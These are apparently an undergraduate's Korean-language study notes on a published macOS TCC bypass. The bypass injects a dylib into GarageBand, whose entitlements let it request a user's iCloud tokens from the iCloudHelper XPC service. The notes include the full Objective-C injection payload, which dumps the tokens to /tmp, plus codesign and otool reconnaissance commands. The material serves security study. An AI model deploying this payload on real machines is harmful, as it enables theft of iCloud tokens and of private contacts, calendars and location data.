https://wojciechregula.blog/post/bypass-tcc-via-icloud/
학부생입니다. 잘못된 부분이 있다면 알려주세요. 피드백은 항시 받습니다.
2개의 code injection opportunities:
- iMovie
- GarageBand
아래에선 garageband만 설명합니다.
their com.apple.private.icloud-account.access entitlements(권한)
iCloud XPC helper
user’s iCloud tokens 취득
with these tokens, synchronized with iCloud 그리고 TCC에 의해 보호받는 데이터들 얻을 수 있음. 예) contacts, reminders, calendars, location…
TCC: 응용 프로그램이 민감한 user 데이터 접근을 거부하는 apple 시스템
iCloud XPC helper
a lot of TCC data is synchronized(동기화) with iCloud
how macOS synchronizes it 하는지 궁금해졌다고 함.
XPC helper located in /S/L/PF/A0SKit.framework/Versions/A/XPCServices/com.apple.iCloudHelper.xpc
asked via XPC(요청), respond with all the iCloud tokens(응답)
클라이언트 확인: +[A0SAgentServervalidateClientWithPid:auditToken:andIdentifier:] 메소드
[...]
rax = CFDictionaryGetValue(var_38, @"com.apple.private.icloud-account-access");
if (rax != 0x0) {
var_38 = rax;
rbx = CFGetTypeID(rax);
rax = CFBooleanGetTypeID();
rdi = var_38;
if (rbx == rax) {
rax = CFBooleanGetValue(rdi);
rbx = rax;
_AOSLog(0x4, @"XPC SERVER (%@): iCloud Account Access: %d (%p)", r13, sign_extend_64(rax), var_38);
}
[...]
검증이 끝나고 iCloudHelper 필요: 클라이언트가 개인 com.apple.private.icloud-account-access 권한으로 서명하기 위함
#import <Foundation/Foundation.h>
void pwn() {
char *xpc_name = "com.apple.iCloudHelper";
xpc_connection_t connection = xpc_connection_create(xpc_name, NULL);
if (connection == NULL) {
NSLog(@"[+] Couldn't create connection, exiting...");
exit(-1);
}
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
NSLog(@"[<] Got event %@", event);
});
xpc_connection_resume(connection);
NSLog(@"Got client %@", connection);
pid_t pidOfRemotePeer = xpc_connection_get_pid(connection);
NSLog(@"[+] Remote peer %d", pidOfRemotePeer);
NSLog(@"[+] My PID %d", [[NSProcessInfo processInfo] processIdentifier]);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
// string clientUid
NSString *uidstring = [NSString stringWithFormat:@"%d", getuid()];
xpc_object_t clientUid = xpc_string_create([uidstring cStringUsingEncoding:NSUTF8StringEncoding]);
// dict payload
// int64 action
// double clientTimestamp
// string accountName
xpc_object_t payload = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t action = xpc_int64_create(4);
xpc_object_t clientTimestamp = xpc_double_create(13123123);
NSString *appleID = @(getenv("APPLE_ID"));
xpc_object_t accountName = xpc_string_create([appleID cStringUsingEncoding:NSUTF8StringEncoding]);
// string clientID
xpc_object_t clientID = xpc_string_create("blog.wojciechregula.pwn");
// mach_send_right sessionPort
xpc_object_t sessionPort = xpc_string_create("INVALIDPORT");
// string sessionID
xpc_object_t sessionID = xpc_string_create("100006");
// string clientGUIAccess
xpc_object_t clientGUIAccess = xpc_string_create("1");
// string clientKeychainAccess
xpc_object_t clientKeychainAccess = xpc_string_create("111");
xpc_dictionary_set_value(message, "clientUid", clientUid);
xpc_dictionary_set_value(message, "payload", payload);
xpc_dictionary_set_value(payload, "action", action);
xpc_dictionary_set_value(payload, "clientTimestamp", clientTimestamp);
xpc_dictionary_set_value(payload, "accountName", accountName);
xpc_dictionary_set_value(message, "clientID", clientID);
xpc_dictionary_set_value(message, "sessionPort", sessionPort);
xpc_dictionary_set_value(message, "sessionID", sessionID);
xpc_dictionary_set_value(message, "clientGUIAccess", clientGUIAccess);
xpc_dictionary_set_value(message, "clientKeychainAccess", clientKeychainAccess);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, message);
NSLog(@"reply is %@", reply);
NSString *debugDescription = [NSString stringWithCString:xpc_copy_description(reply) encoding:NSUTF8StringEncoding];
NSLog(@"[<] Debug description: %@", debugDescription);
xpc_object_t result = xpc_dictionary_get_value(reply, "result");
NSData *data = [NSData dataWithBytes:xpc_data_get_bytes_ptr(result) length:xpc_data_get_length(result)];
[data writeToFile:@"/tmp/dump.plist" atomically:YES]; // save the tokens
NSLog(@"[<] Result %@", data);
NSDictionary *obj = (NSDictionary*) [NSKeyedUnarchiver unarchiveObjectWithData:data];
NSLog(@"[<] DATA: %@", obj);
}
__attribute__((constructor)) static void pwn(int argc, const char **argv) {
NSLog(@"[+] Dylib injected");
pwn();
}
파일시스템에서 위 권한 검색
got two hits
- garageband code injection
- com.apple.private.icloud-account-access
- com.apple.private.security.clear-library-validation
$ codesign -d --entitlements - /Applications/GarageBand.app
Executable=/Applications/GarageBand.app/Contents/MacOS/GarageBand
[Dict]
[Key] com.apple.application-identifier
[Value]
[String] F3LWYJ7GM7.com.apple.garageband10
[Key] com.apple.private.security.clear-library-validation
[Value]
[Bool] true
[Key] com.apple.private.icloud-account-access
[Value]
[Bool] true
otool을 사용하여 garageband가 프레임워크를 로드하는지 체크
내가 변경 가능하고 개러지밴드 프로세스에 코드 실행을 할 수 있는 프레임 워크
otool: ios 디버깅 도구
$ otool -L /Applications/GarageBand.app/Contents/MacOS/GarageBand
/Applications/GarageBand.app/Contents/MacOS/GarageBand:
@rpath/MAGUI.framework/Versions/A/MAGUI (compatibility version 1.0.0, current version 5753.0.0)
@rpath/MAMachineLearning.framework/Versions/A/MAMachineLearning (compatibility version 1.0.0, current version 5753.0.0)
@rpath/MAMusicAnalysis.framework/Versions/A/MAMusicAnalysis (compatibility version 1.0.0, current version 5753.0.0)
[...]
@rpath 참조 많음
rpath: runpath search path를 지칭하는 환경 변수?
dylib proxy 공격으로 토큰 get